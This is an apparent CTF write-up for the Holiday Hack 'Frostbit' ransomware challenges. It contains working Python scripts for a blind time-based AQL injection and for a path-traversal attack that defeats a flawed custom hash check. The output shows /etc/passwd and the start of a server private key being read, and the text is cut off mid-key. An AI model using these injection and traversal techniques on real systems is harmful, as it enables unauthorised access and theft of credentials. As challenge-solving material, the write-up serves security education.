Deactivate Frostbit Naughty-Nice List Publication

Difficulty: ❄ ❄ ❄ ❄ ❄
Wombley’s ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the Naughty-Nice list by the ransomware server.

Hints

Frostbit Publication

From: Dusty Giftwrap
There must be a way to deactivate the ransomware server’s data publication. Perhaps one of the other North Pole assets revealed something that could help us find the deactivation path. If so, we might be able to trick the Frostbit infrastructure into revealing more details.

Frostbit Slumber

From: Dusty Giftwrap
The Frostbit author may have mitigated the use of certain characters, verbs, and simple authentication bypasses, leaving us blind in this case. Therefore, we might need to trick the application into responding differently based on our input and measure its response. If we know the underlying technology used for data storage, we can replicate it locally using Docker containers, allowing us to develop and test techniques and payloads with greater insight into how the application functions.

Solution

The base URL from the “Decrypt the Naughty-Nice List” challenge (https://api.frostbit.app), also the UUID will be the same, in my case 3da17f67-ee61-455d-afc2-aa20e8c7911e.
Additionally, one of the messages in frostbitfeed Santa Vision challenge provides a useful hint for this challenge:
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley.

Starting with these information and trying to append the debug parameter to the url, we can observe the behavior of the API:

1
2
(act3-ransomware) thedead@maccos act3-ransomware % curl "https://api.frostbit.app//api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=true" -H "X-API-Key: asd"
{"debug":true,"error":"Invalid Key"}

Attempting common attack patterns we can observe a SQL-injection like behavior:

1
2
(act3-ransomware) thedead@maccos act3-ransomware % curl "https://api.frostbit.app//api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=true" -H "X-API-Key: '"  
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}

Not knowing this specific syntax, I resorted to ChatGPT which revealed I was dealing with AQL (ArangoDB Query Language). Not being familiar with this NoSQL database technology, I spent some time finding a proper query and eventually ended up with a reliable blind injection in the form of ' || <PAYLOAD>?SLEEP(1000):false || '. I then wrote a python script to automate the attack and extract the data I was after:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import requests
import logging
import time
import json

logging.basicConfig()

BASE_URL = "https://api.frostbit.app/api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=true"
BASE_QUERY = "' || {}?SLEEP(1000):false || '"
HEADER = "X-API-Key"
OK_MSG = 'Timeout or error in query:'

INT_RETRY_THRESHOLD = 100
HEX_ALPHABET = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f"]

LOG_LEVEL = logging.INFO

logger = logging.getLogger("")

def runBlind (query):
query = BASE_QUERY.format(query)
headers = {"X-API-Key":query}

start = time.perf_counter()
response = requests.get(BASE_URL, headers = headers)
request_time = time.perf_counter() - start

logger.debug ("runBlind --> Query: {}".format(query))
logger.debug ("runBlind --> response.text: {}".format(repr(response.text)))
logger.debug ("runBlind --> Query took {} seconds".format(request_time))
if OK_MSG in response.text:
logger.debug ("runBlind --> Success")
return True
else:
logger.debug ("runBlind --> Failed")
return False

def runIntBlind (query):
tresholdTriggered = False
i = 0
while True:
_query = "{}=={}".format(query,i)
logger.debug ("runIntBlind --> {}".format(i))
result = runBlind(_query)
if tresholdTriggered:
result = result or runBlind(_query)
if result:
logger.debug ("runIntBlind --> Return {}".format(i))
return i
if i > INT_RETRY_THRESHOLD:
logger.debug ("runIntBlind --> Counter over threshold, restarting with increased retries")
i = -1
i += 1

def runHexBlind (query):
query = "TO_HEX({})".format(query)

_query = "LENGTH({})".format(query)
length = runIntBlind (_query)
logger.debug ("runHexBlind --> Lenght is {}".format(length))

hexString = ""
for i in range (0, length):
found = False
j = 0
while not found:
hexChar = HEX_ALPHABET[j % len(HEX_ALPHABET)]
_query = 'SUBSTRING({},{},1)=="{}"'.format(query, i, hexChar)
if runBlind (_query):
hexString += hexChar
found = True
logger.debug ("runHexBlind --> Current hex string is {}".format(hexString))
j += 1
string = bytes.fromhex(hexString).decode("ASCII")
logger.debug("runHexBlind --> Got {} [{}]".format(string, hexString))
return string

def getCols ():
query = "ATTRIBUTES(doc)"
cols = json.loads(runHexBlind (query))
logger.debug("getCols --> cols is {}".format(cols))
return cols

def getNumberOfCols ():
query = "COUNT(doc)"
numberOfCols = runIntBlind (query)
return numberOfCols

def getColsValues (cols):
table = {}
for col in cols:
query = "doc.{}".format(col)
colValue = runHexBlind(query)
table[col] = colValue
return table

def main ():
print ("### Setup ###")
print ("Base URL : {}".format(BASE_URL))
print ("Base Query : {}".format(BASE_QUERY))
print ("Headers to inject : {}".format(HEADER))
print ("OK message : {}".format(OK_MSG))
print ("Log level : {}".format(LOG_LEVEL))
print ("### Run ###")

logger.setLevel(LOG_LEVEL)

print ("Retrieving the number of columns")
numberOfCols = getNumberOfCols()
print (" --> Got {} columns".format(numberOfCols))
print ("Retrieving the columns")
cols = getCols()
print (" --> The columns are {}".format(cols))
print ("Retrieving the values")
colsValues = getColsValues (cols)
print (" --> The values are {}".format(colsValues))

if __name__ == "__main__":
main()

The script performs a time based injection but relies on the error returned to verify the actual result as the API automatically times out after 2 seconds. I went for this approach as I have seen instances of the query performing faster but still returning the error. Running the script returned the data from the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(act3-ransomware) thedead@maccos act3-ransomware % python3 aql_blind.py
### Setup ###
Base URL : https://api.frostbit.app/api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=true
Base Query : ' || {}?SLEEP(1000):false || '
Headers to inject : X-API-Key
OK message : Timeout or error in query:
Log level : 20
### Run ###
Retrieving the number of columns
--> Got 4 columns
Retrieving the columns
--> The columns are ['deactivate_api_key', '_rev', '_key', '_id']
Retrieving the values
--> The values are {'deactivate_api_key': 'abe7a6ad-715e-4e6a-901b-c9279a964f91', '_rev': '_ieE_hFC---', '_key': 'config', '_id': 'config/config'}

Calling the deactivate endpoint with X-API-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91 did the trick and deactivated the ransomware publication:

1
2
(act3-ransomware) thedead@maccos act3-ransomware % curl "https://api.frostbit.app//api/v1/frostbitadmin/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/deactivate?debug=true" -H "X-API-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91"
{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"3da17f67-ee61-455d-afc2-aa20e8c7911e\",\"hash\":\"50fca4bc7248f1fcdb35131bef14968b1101b03b93435a8421c4a215b3047f9a\",\"uid\":\"5001\"}\nPOSTED WIN RESULTS FOR RID 3da17f67-ee61-455d-afc2-aa20e8c7911e","status":"Deactivated"}

Decrypt the Naughty-Nice List

Difficulty: ❄ ❄ ❄ ❄ ❄
Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-Nice list.

Hints

Frostbit Hashing

From: Dusty Giftwrap
The Frostbit infrastructure might be using a reverse proxy, which may resolve certain URL encoding patterns before forwarding requests to the backend application. A reverse proxy may reject requests it considers invalid. You may need to employ creative methods to ensure the request is properly forwarded to the backend. There could be a way to exploit the cryptographic library by crafting a specific request using relative paths, encoding to pass bytes and using known values retrieved from other forensic artifacts. If successful, this could be the key to tricking the Frostbit infrastructure into revealing a secret necessary to decrypt files encrypted by Frostbit.

Frostbit Dev Mode

From: Dusty Giftwrap
There’s a new ransomware spreading at the North Pole called Frostbit. Its infrastructure looks like code I worked on, but someone modified it to work with the ransomware. If it is our code and they didn’t disable dev mode, we might be able to pass extra options to reveal more information. If they are reusing our code or hardware, it might also be broadcasting MQTT messages.

Frostbit Crypto

From: Dusty Giftwrap
The Frostbit ransomware appears to use multiple encryption methods. Even after removing TLS, some values passed by the ransomware seem to be asymmetrically encrypted, possibly with PKI. The infrastructure may also be using custom cryptography to retrieve ransomware status. If the creator reused our cryptography, the infrastructure might depend on an outdated version of one of our libraries with known vulnerabilities. There may be a way to have the infrastructure reveal the cryptographic library in use.

Frostbit Forensics

From: Dusty Giftwrap
I’m with the North Pole cyber security team. We built a powerful EDR that captures process memory, network traffic, and malware samples. It’s great for incident response - using tools like strings to find secrets in memory, decrypt network traffic, and run strace to see what malware does or executes.

Solution

Artifacts

The following files are delivered with the download:

  • Filename: DoNotAlterOrDeleteMe.frostbit.json
    Content: {"digest":"8000a9803204129aa16da8330a00102c","status":"Key Set","statusid":"cAwzkltLXZHSw"}
    Description: A file left by the ransomware probably to identify the client
  • Filename: frostbit.elf
    Content: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=twFnsUORqqujpF2IKOpc/fGToVu04lOziSdznrxR4/fBxGnDHL6jeZzih8PnXE/rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped
    Description: The actual ransomware
  • Filename: frostbit_core_dump.13
    Content: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)
    Description: The coredump from the execution of the ransomware
  • Filename: naughty_nice_list.csv.frostbit
    Content: Binary data
    Description: The encrypted naughty nice list
  • Filename: ransomware_traffic.pcap
    Content: pcap capture file
    Description: The pcap of the traffic generated byt the ransomware

The core dump

The core dump seems corrupted and I was not able to open it with common tools, so I resorted to a simple strings, revealing a bunch of useful info, in particular the following:

1
2
3
4
CLIENT_HANDSHAKE_TRAFFIC_SECRET c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 e6767af7846e360970021562b5ac02d3e5fcb01409ead3309d91af957f5484f2
SERVER_HANDSHAKE_TRAFFIC_SECRET c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 1a5fe244a7817ad46f195972ecac14af511ab5e14462434022729e88062fc59c
CLIENT_TRAFFIC_SECRET_0 c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 ca4217b4b9ba666965bbf63d2b207a32e8698f60c627ae7b4ec2cfaddc3d7ee6
SERVER_TRAFFIC_SECRET_0 c491e615be29a143ca7d21b48de873a6d91d8b13bd8ef71b882b15c498e0ad04 6db935cad2572f57e40ad1334beecd013dddbca2309eff5a9ce2b34b55d3c80f
1
https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c

The pcap

Having extracted the traffic secrets from the core dump, I then decrypted the traffic of the file ransomware_traffic.pcap using tls-decryption. Then I opened the decrypted pcap with wireshark and extracted the full http stream:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /api/v1/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Sat, 21 Dec 2024 08:27:03 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"nonce":"9e60e7c02163359a"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api/v1/bot/3da17f67-ee61-455d-afc2-aa20e8c7911e/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip

{"encryptedkey":"90fa90da0eabcfafffeb5a1c27a322c0b2558ee2e775def3745f05b69fe827b2c213d1851dc681719c2daa4929f939361b9ae0676d05c866973c8a9001158a8e7d1b85701aff9267c180e956564edd5ce1582eaf18f391d03fb7b3376a9014c3dd0ac4e2f79653d6a3c2f12fc445290cc712b873310c8302d9f27da95b57bb41b8596a3aa57ddc0a2e818bf6f1cdd1e4e1bac065a606c15c419ba376259e2e576d5ec266e70c84f44ae48abcda7b5a1c0fdbd44617d1df67c811fb4c0a6d5d88b1472a053ed98010130685402f5d0843ee021aabd5c63e199bd57f91d044a1346958756f01249d1df61bfb2f4105ace8cbba704533e53db5081ff24e3afb4e7e466437fcc4a15e349c6632380e6bd07494fa320945ac0b2fa670457eeef187e36c8ea54676a366c796d8ae2c4e6a5ce8ccc773f91bb9afc553085ec65b369b0d2d8b580aaa05263a40e74c427210764ab163e4e86fb540fe0e87a9aeddc452f3e8facaaedaa7a74294748d2478282b6b8033df4e79b478bc07bfd68f06b9b85ba7998ba2f113ebbab5a9f5f4f404eabd3af285ab22585e37b5ac00d5834a4a4736f26d6b7365d27cd17523a506dde96c4563b06dd2702ae786645509c37d32fbd21554aba4a2bf0ea7be258c6816bdf37e6a4b1e7af6876a2683f34c10f96b072d8fe2a91d23a300afcd70f594669271f57317caf8a885c4e0284076ddb978b1","nonce":"9e60e7c02163359a"}
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Sat, 21 Dec 2024 08:27:03 GMT
Content-Type: application/json
Content-Length: 92
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"digest":"8000a9803204129aa16da8330a00102c","status":"Key Set","statusid":"cAwzkltLXZHSw"}

The executable

When started, the executable sets up the example values for digest and status (red box) and searches for the presence of the APP_DEBUG environment variable (green box):

If the environment variable is set to APP_DEBUG="true" it will set the server to http://localhost (green box), otherwise it will use https://api.frostbit.app (red box):

After that, it will check the presence of the DoNotAlterOrDeleteMe.frostbit.json file:

And it will try to load the file public_key.pem:

The content of this file will be used to generate the key with the generateKey function:

Once the key has been generated, the executable will check for the existance of the file naughty_nice_list.csv

If this file is found it will then go ahead, create the naughty_nice_list.csv.frostbit seen in the artifacts and encrypt the original file using the encryptFile function:

The encryptFile function encrypts the file using AES-CBC and the previously generated key along with the nonce as IV:

Subsequent operations will encrypt the key, send the encryptedkey to the server, receive the final content for DoNotAlterOrDeleteMe.frostbit.json, save it and terminate.

The ransom note

By following the link found in the core dump, we can also find the ransom note at url https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c.

The debug option in the APIs

Here I got hinted toward trying something similar to the executable on the API, therefore I added the debug=true parameter to the url and noticed the variable debugData being populated with a base64 that get decoded showing a json:

1
2
3
4
5
6
7
{
"uuid": "3da17f67-ee61-455d-afc2-aa20e8c7911e",
"nonce": "REDACTED",
"encryptedkey": "REDACTED",
"deactivated": false,
"etime": 1734998400
}

The hashlib

Tampering the digest parameter can lead to an error that shows some internals of the api. Especially, removing one character returns the following error:

1
2
curl "https://api.frostbit.app/view/cAwzkltLXZHSw/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102&debug=true"
{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n"}

The error leads to the FrostBiteHashlib.py file that can be downloaded from the url https://api.frostbit.app/static/FrostBiteHashlib.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import traceback
import binascii

class Frostbyte128:
def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
self.file_bytes = file_bytes
self.filename_bytes = filename_bytes
self.filename_bytes_length = len(self.filename_bytes)
self.nonce_bytes = nonce_bytes
self.nonce_bytes_length = len(self.nonce_bytes)
self.hash_length = hash_length
self.hash_result = self._compute_hash()

def _compute_hash(self) -> bytes:
hash_result = bytearray(self.hash_length)
count = 0

for i in range(len(self.file_bytes)):
xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
count += 1

for i in range(len(self.filename_bytes)):
count_mod = count % self.hash_length
count_filename_mod = count % self.filename_bytes_length
count_nonce_mod = count % self.nonce_bytes_length
xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
hash_result[count_mod] = hash_result[count_mod] & xrd
count += 1

return bytes(hash_result)

def digest(self) -> bytes:
"""Returns the raw binary hash result."""
return self.hash_result

def hexdigest(self) -> str:
"""Returns the hash result as a hexadecimal string."""
return binascii.hexlify(self.hash_result).decode()

def update(self, file_bytes: bytes = None, filename_bytes: bytes = None, nonce_bytes: bytes = None):
"""Updates the internal state with new bytes and recomputes the hash."""
if file_bytes is not None:
self.file_bytes = file_bytes
if filename_bytes is not None:
self.filename_bytes = filename_bytes
if nonce_bytes is not None:
self.nonce_bytes = nonce_bytes

self.hash_result = self._compute_hash()

def validate(self, hex_string: str):
"""Validates if the provided hex string matches the computed hash."""
try:
decoded_bytes = binascii.unhexlify(hex_string)
if decoded_bytes == self.digest():
return True, None
except Exception as e:
stack_trace = traceback.format_exc()
return False, f"{stack_trace}"
return False, None

This library generates a digest of a file contents along with its filename, using the nonce as the XOR key. This library is vulnerable for two main reasons:

  1. The validate function returns the exception stack trace, which is the reason that allowed us to find the library file in the first place
  2. The filename gets processsed after the file contents, so a specifically crafted filename could completely cancel out the contribution of the file contents.

Exploiting the library can allow to obtain a digest of only zeroes by padding the filename and appending the nonce two times. For example, given the standard hash length of 16 bytes and the statusid as filename we can zero out the digest as follows:

  • The filename “cAwzkltLXZHSw”, 13 bytes long (“6341777a6b6c744c585a485377” in hex)
  • A padding of 3 bytes (e.g. “ff”), so to line up with the hash length
  • The nonce of 8 bytes, repeated to reach the hash length
    The result would be the following 32 bytes:

    These would cancel out any contribution by both the file content and the filename itself, leading to the digest 00000000000000000000000000000000 (00, 16 times):

The LFI

Tampering the statusId in the URL we can observe a different error, leading toward a LFI vulnerability:

1
2
(act3-ransomware) thedead@maccos act3-ransomware % curl "https://api.frostbit.app/view/cAwzkltLXZHS/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&debug=true" 
{"debug":true,"error":"Status Id File Not Found"}

Attempting various LFI payloads we can observe that some of them return more interesting results:

1
2
(act3-ransomware) thedead@maccos act3-ransomware % curl "https://api.frostbit.app/view/..%252F..%252F..%252F..%252Fetc%252Fpasswd/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&debug=true"
{"debug":true,"error":"Invalid Status Id or Digest"}

This test demonstrates that a LFI is actually present, it needs to be double url encoded (e.g. / -> %2f -> %252f) and that the root directory is located to ../../../../ relatively to the application running directory, but suggests that the file gets validated against the FrostBiteHashlib seen before. Attempting the LFI appending the file as seen before didn’t work:

1
2
(act3-ransomware) thedead@maccos act3-ransomware % curl "https://api.frostbit.app/view/..%252f..%252f..%252f..%252fetc%252fpasswd%25ff%25ff%259e%2560%25e7%25c0%2521%2563%2535%259a%259e%2560%25e7%25c0%2521%2563%2535%259a/3da17f67-ee61-455d-afc2-aa20e8c7911e/status?digest=8000a9803204129aa16da8330a00102c&debug=true"
{"debug":true,"error":"Status Id File Not Found"}

I assumed this is due to the presence of printable characters in the nonce, for example printing it in python results in:

1
2
>>> print(b'\x9e\x60\xe7\xc0\x21\x63\x35\x9a')
b'\x9e`\xe7\xc0!c5\x9a'

I have then spent some time to find accepted alternatives to these printable characters so to introduce the least possible variance in the resulting digest. The following table shows the resulting values with an incoming hash of only ff:

The highlighted values are the ones that have changed, and these could either be only the shown value or 0, depending on the hash results from the first loop (file_bytes XOR nonce_bytes). Having 11 bytes that can assume 2 values, this would result in 2 ^ 11 = 2048 possible digest values. This is a fairly big number but manageable with a script 😁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
from itertools import product
import re
import base64
import urllib.parse

regex = r'const debugData = "(.*?)";'

base_url = "https://api.frostbit.app/view/{}/{}/status?digest={}&debug=true"

uuid = "3da17f67-ee61-455d-afc2-aa20e8c7911e"

digest_str = "00{}00000{}0{}0{}0{}0{}0{}00000{}0{}0{}0{}0"
ranges = [[0,8],[0,8],[0,8],[0,8],[0,4],[0,4],[0,8],[0,8],[0,8],[0,8],[0,4]]

padding_byte = b"\xff"
append_nonce = b"\x9e\xe0\xe7\xc0\xa1\xe3\xb5\xda\xde\xe0\xe7\xc0\xa1\xe3\xb5\xda"

file = input ("File: ")

print ("FILENAME --> {}".format(file))
file = file.encode("utf-8")
while len(file) % 16 != 0:
file += padding_byte
print ("PADDED FILENAME --> {}".format(file))
file += append_nonce
print ("PADDED FILENAME WITH APPENDED NONCE --> {}".format(file))
file = urllib.parse.quote_plus(urllib.parse.quote_plus(file))
print ("DOUBLE URL ENCODED --> {}".format(file))

for combination in product(*ranges):
digest = digest_str.format(*combination)
url = base_url.format(file, uuid, digest)
print ("ATTEMPTING DIGEST --> {}".format(digest))
r = requests.get(url)
if "Status Id Too Long" in r.text:
print (" --> ERROR!!! Status Id Too Long !!!")
break
if "Invalid Status Id or Digest" not in r.text and "Status Id File Not Found" not in r.text:
print (" --> SUCCESS")
matches = re.search(regex, r.text, re.MULTILINE)
b64_value = matches.group(1)
print ("DEBUG DATA B64 VALUE --> {}".format(b64_value))
print (" --> DECODED STRING --> ")
print (base64.b64decode(b64_value).decode("utf-8"))
break

This script handles the padding of the file and its double url encoding, then it iterates through the possible digests and, if successful, it returns the value of the debugData const decoded from base64. Running it with the file ../../../../etc/passwd provides the expected result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(act3-ransomware) thedead@maccos act3-ransomware % python3 lfi.py 
File: ../../../../etc/passwd
FILENAME --> ../../../../etc/passwd
PADDED FILENAME --> b'../../../../etc/passwd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
PADDED FILENAME WITH APPENDED NONCE --> b'../../../../etc/passwd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x9e\xe0\xe7\xc0\xa1\xe3\xb5\xda\xde\xe0\xe7\xc0\xa1\xe3\xb5\xda'
DOUBLE URL ENCODED --> ..%252F..%252F..%252F..%252Fetc%252Fpasswd%25FF%25FF%25FF%25FF%25FF%25FF%25FF%25FF%25FF%25FF%259E%25E0%25E7%25C0%25A1%25E3%25B5%25DA%25DE%25E0%25E7%25C0%25A1%25E3%25B5%25DA
ATTEMPTING DIGEST --> 00000000000000000000000000000000
--> SUCCESS
DEBUG DATA B64 VALUE --> cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo=
--> DECODED STRING -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The public key

The messages of the frostbitfeed discovered in the Santa Vision challenge provides a useful hint for this challenge: Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key.
Leveraging on the LFI script and knowing the relative path, it becomes trivial to retrieve the key file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
(act3-ransomware) thedead@maccos act3-ransomware % python3 lfi.py
File: ../../../../etc/nginx/certs/api.frostbit.app.key
FILENAME --> ../../../../etc/nginx/certs/api.frostbit.app.key
PADDED FILENAME --> b'../../../../etc/nginx/certs/api.frostbit.app.key'
PADDED FILENAME WITH APPENDED NONCE --> b'../../../../etc/nginx/certs/api.frostbit.app.key\x9e\xe0\xe7\xc0\xa1\xe3\xb5\xda\xde\xe0\xe7\xc0\xa1\xe3\xb5\xda'
DOUBLE URL ENCODED --> ..%252F..%252F..%252F..%252Fetc%252Fnginx%252Fcerts%252Fapi.frostbit.app.key%259E%25E0%25E7%25C0%25A1%25E3%25B5%25DA%25DE%25E0%25E7%25C0%25A1%25E3%25B5%25DA
ATTEMPTING DIGEST --> 00000000000000000000000000000000
--> SUCCESS
DEBUG DATA B64 VALUE --> LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlKS0FJQkFBS0NBZ0VBcGxnNWVLRHZrOWYrZ3NXV1pVdHBGcjgwb2pUWmFibTRSdHkwTG9yd3RxNVZKZDM3CjhHZ0Ftd3hJRm9kZHVkUCt4TU56OXU1bFJGRXhxRFdvSzJUeEtieWlHVE9LVjlJbHBaVUxGeWZWOS8vaTh2cTQKZXc3SDlUczdkdU5oNGdlSE55c2ZXcWRyVmViVFJaNkFlQ0FlSjJjWnVWUDRicmlhaTBYRHEyS1VkL3NjN2tnUQp4WEdndzB0L0ZxaURnbHBTRjFQRnhQdlV6SndjSk5RaElZUUN4UkN3SGtIcVZTblRvWmNuakpqaGdWeVhzVE55CjVwT0xCV3FnNW5Tblhyd2w4SmZHa1VITi9Ud2JiODI5cklNVDU1MFp4TzhLWUg0cS9rVjNjd1ZjU1lmRVl2TUoKSm9lUUZDZ0hpdUw1RXV4QVViTzZLWmdUblJXaFdRbW90VFFiK2ZDajhzaWxqZzhkSWR3eEI2OTBMdlpZcHZ2NAp5UExZZ3FDZjlQenpnclpQdmxKK1hrSW5KM3MvK0RPTDBWYkNnVEhQMGdicE83a2RqaVRPQlMxSnArRnRiQ0crCjZvbXZ3U2cvY0VMTm5zRENzNkYxeDMzaVI3dHVtZVF5U3dOUFdOR3Q2cE9IbXlHZkhZTDJSeGhqNVM1bkNYcXgKR0N4MnEybUg4bDRBTDViYnpWVnhFRWErK0ZnbmQ5cjI0U1NDM2J2bE5WVDBDRGZCZG9LelR1TzhST05CNFdLTgprYnFOaitNRThKREhVQTM5bGQveXFJVmlHampBRVIvTlRpc2hrNXprMDQxOUFpUXBIZk9VbkNOeHExN05aUDVLCmdMeHg3eHJUYUxkUG0wWDlhTU9jcXVJUGVuanJ3WmZJVnB5cVpvVW4vRDB6aW5vTklub2s4Q0ZkYkQ4Q0F3RUEKQVFLQ0FnQUFnd3o3UFp1YXFSc3VhZmM5WWJsWHlFcVRwaGlDQkd1SWh1aHVsOGhuSjJuYjBPTktyRHg5cmsxRQp0SWl6a1I4QklxcXdvblZveHRIOXVMS1VBM